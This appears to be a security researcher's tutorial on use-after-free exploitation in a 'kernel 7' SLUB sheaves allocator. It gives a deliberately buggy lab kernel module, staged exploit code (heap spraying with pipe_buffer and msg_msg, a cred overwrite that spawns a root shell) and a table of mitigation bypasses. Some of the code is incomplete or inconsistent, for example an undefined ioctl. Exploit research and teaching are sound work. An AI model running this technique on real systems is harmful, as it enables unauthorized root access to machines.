BLUE DRAGON SECURITY

antonius – bluedragonsec.com – it security researcher - indonesia

Part 1. Linux Kernel 7 - UAF Exploitation

01 UAF Definition & Lifecycle in Kernel 7

Use-After-Free is a condition where code accesses memory that has already been returned to the allocator. In kernel 7, "returned to the allocator" means the pointer is placed into a slab_sheaf.objects[] slot — not into a freelist chain as in kernel 6.

① **ALLOC STATE**

```
obj = kmalloc(128)
obj->field_a = valid_ptr
obj->field_b = 0x1234
sheaf.objects[n] = NULL   // slot is empty in the sheaf
```

② **FREE STATE**

```
kfree(obj)                // returned here
sheaf.objects[m] = obj
dangling_ptr = obj        // ← PROBLEM
// memory still contains old data (not zeroed yet)
```

③ **UAF STATE**

```
new_alloc = kmalloc(128)
// CAN get the same address
dangling_ptr->field = X
// write via dangling = write to new_alloc!
```

Why Is K7 More Interesting for UAF?

In kernel 6, after an object is freed, the pointer is stored in an XOR-encoded freelist chain. An attacker who wants to control the 'next allocation target' must modify the freelist with the properly encoded value (ptr ^ s->random ^ swab(addr)) — which requires leaking s->random.

In kernel 7, freed objects are placed in slab_sheaf.objects[size++] as raw pointers without encoding. If an attacker gains an OOB write to the slab_sheaf struct, they can directly overwrite an objects[] slot with an arbitrary address — without needing s->random.

> ✗ **IMPORTANT**
> UNENCODED objects[] = EASIER ARBITRARY ALLOC — This is the most significant mitigation gap in kernel 7: the percpu allocator fastpath uses an unencoded array. An OOB write to a slab_sheaf gives arbitrary next-allocation control that is simpler to exploit than in kernel 6.

02 SLUB Sheaves Internals — Exploit Perspective

Why Can slab_sheaf Become a Target?

```
struct slab_sheaf {
    /* [+0x00] union: rcu_head / barn_list / {capacity, pfmemalloc} */
    unsigned long  __union_field[2];   /* 16 bytes */

    /* [+0x10] */  struct kmem_cache *cache;
    /* [+0x18] */  unsigned int       size;
    /* [+0x1C] */  int                node;
    /* [+0x20] */  void              *objects[SHEAF_SIZE]; /* RAW POINTERS! */
};
/* If SHEAF_SIZE=32, total struct = 0x20 + 32×8 = 0x120 bytes */
/* objects[0] = first freed obj, objects[size-1] = last freed obj */
/* Alloc takes from objects[--size] (LIFO) */
```

If an attacker has an OOB write primitive that can reach the active slab_sheaf struct (e.g., pcs->main), overwriting a single entry in objects[] will cause the next allocation to return that arbitrary pointer — providing a full write-what-where primitive.

03 Exploitation Primitives in K7

Primitive	How to Obtain	Used For
Arbitrary Read	UAF → spray struct pipe_buffer, read fd	Info leak: kernel ptr, cred addr, KASLR bypass
Arbitrary Write	UAF → spray msg_msg, write via msgsnd	cred overwrite, function pointer hijack
Arbitrary Alloc Target	OOB write to slab_sheaf.objects[]	Control what the next kmalloc() returns
RCU UAF Window	cred/bpf_filter free → RCU grace period	Read/write while object is not yet fully freed
Cross-Cache Confusion	Barn drain + target spray	Type confusion between two different caches

Popular Spray Objects in Kernel 7

Object	Cache	Size	Obtained Primitive
struct pipe_buffer	kmalloc-64/128	40B	Read via pipe_read, Write via pipe_write
struct msg_msg	kmalloc-size	variable	Read/Write via msgrcv/msgsnd — flexible size
struct sk_buff	skbuff_cache	~256B	Write via sendmsg —

			network stack
struct io_kiocb	io_kiocb (K7 new)	~256B	io_uring request — many interesting fields in K7
struct user_key_payload	kmalloc-size	variable	Read via keyctl — payload length controlled
struct subprocess_info	kmalloc-128	88B	Function pointer fn — direct RIP control

04 UAF Categories in Kernel 7.0

Category	Description	Example in K7
Classic UAF	Free followed by use of dangling pointer	Majority of UAF bugs
RCU UAF	Free via RCU, accessed during grace period	cred, bpf_filter, net structures
Refcount UAF	Refcount race → premature free	io_bpf_filter (refcount_inc_not_zero race)
Double-Free	kfree called twice → sheaf corruption	Insert ptr twice into objects[]
Barn Race UAF	CPU migration during alloc/free	Race in barn_get_empty_sheaf() data_race()
Sheaf Swap UAF	UAF via percpu sheaf swap timing	pcs->main swap while dangling ref exists

05 Vulnerable LKM — Lab Target

vuln_uaf_k7.c — Kernel Module with UAF Bug

```
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define VULN_IOC_ALLOC    _IO('V', 1)
#define VULN_IOC_FREE     _IO('V', 2)
#define VULN_IOC_WRITE    _IOW('V', 3, unsigned long[2])
#define VULN_IOC_READ     _IOWR('V', 4, unsigned long[2])

struct vuln_obj {
    char  data[128];
    void (*callback)(void);  /* function pointer — hijack target */
};
```

```
static struct vuln_obj *global_obj = NULL;

static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
    switch (cmd) {
    case VULN_IOC_ALLOC:
        global_obj = kmalloc(sizeof(*global_obj), GFP_KERNEL);
        break;
    case VULN_IOC_FREE:
        kfree(global_obj);
        /* BUG: global_obj not set to NULL → dangling pointer */
        break;
    case VULN_IOC_WRITE: {
        unsigned long args[2];
        copy_from_user(args, (void*)arg, 16);
        /* BUG: writes to potentially freed object */
        memcpy((char*)global_obj + args[0], &args[1], 8);
        break;
    }
    case VULN_IOC_EXEC:
        if (global_obj && global_obj->callback)
            global_obj->callback();  /* ← code execution via function pointer
*/
        break;
    }
    return 0;
}
```

06 Full Exploit Development — Step by Step

Stage 1 — Setup & Heap Grooming

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>

#define VULN_IOC_ALLOC  _IO('V',1)
#define VULN_IOC_FREE   _IO('V',2)
#define VULN_IOC_WRITE  _IOW('V',3,unsigned long[2])
#define VULN_IOC_READ   _IOWR('V',4,unsigned long[2])
#define VULN_IOC_EXEC   _IO('V',5)

#define SPRAY_PIPES     256

int vuln_fd;
int spray_pipes[SPRAY_PIPES][2];

void uaf_exploit_stage1() {
    /* Step 1: Open vulnerable device */
    vuln_fd = open("/dev/vuln_uaf", O_RDWR);

    /* Step 2: Pin to CPU 0 */
    cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(0, &cs);
    sched_setaffinity(0, sizeof(cs), &cs);
```

```
    /* Step 3: Alloc victim object */
    ioctl(vuln_fd, VULN_IOC_ALLOC, 0);

    /* Step 4: Spray pipes to fill current sheaf */
    for (int i = 0; i < SPRAY_PIPES; i++)
        pipe(spray_pipes[i]);  /* each pipe_buffer goes to kmalloc-64 */

    /* Step 5: Free victim — dangling pointer remains */
    ioctl(vuln_fd, VULN_IOC_FREE, 0);

    /* Step 6: Realloc spray to reclaim freed slot */
    /* Spray msg_msg to reclaim vuln_obj's kmalloc-128 slot */
    int qid = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
    struct { long mt; char buf[120]; } m = { .mt = 1 };
    memset(m.buf, 0x41, 120);
    /* Set fake callback pointer at offset 128 */
    *(unsigned long*)(m.buf + 120) = 0xDEADBEEF;  /* placeholder */
    msgsnd(qid, &m, 120, 0);
}
```

Stage 2 — cred Overwrite Path (K7)

```
/* After gaining arbitrary write via UAF, target the cred struct */
/* Method: fork() → cred_jar allocates new cred */
/* If timing is correct, new cred occupies the same slot */

void escalate_via_cred_overwrite() {
    for (int i = 0; i < 128; i++) {
        if (fork() == 0) {
            /* child: wait for parent signal, then check for root */
            sleep(1);
            if (getuid() == 0) {
                system("/bin/bash -p");
                exit(0);
            }
            exit(1);
        }
    }
    /* Parent: use UAF write to zero cred->uid/gid fields */
    unsigned long zero = 0;
    unsigned long args[2] = { offsetof(struct cred, uid), zero };
    ioctl(vuln_fd, VULN_IOC_WRITE, args);
}
```

07 Relevant K7 Mitigations & Bypass Strategies

Mitigation	Impact on UAF Exploit	Bypass
INIT_ON_FREE	Zero-out slot in objects[] on free → old data gone	Only requires stricter heap grooming, not a blocker
KASAN	Detects UAF access, crashes with stack trace	Only active on debug kernels — not in production
KASLR	Requires info leak to get kernel base	UAF read primitive → leak kernel ptr from sprayed object

FineIBT	Impedes function pointer hijack	Type-compatible substitution (see Layer 2-5)
SLAB_FREELIST_RANDOM	objects[] order is not deterministic	Spray enough objects to achieve high probability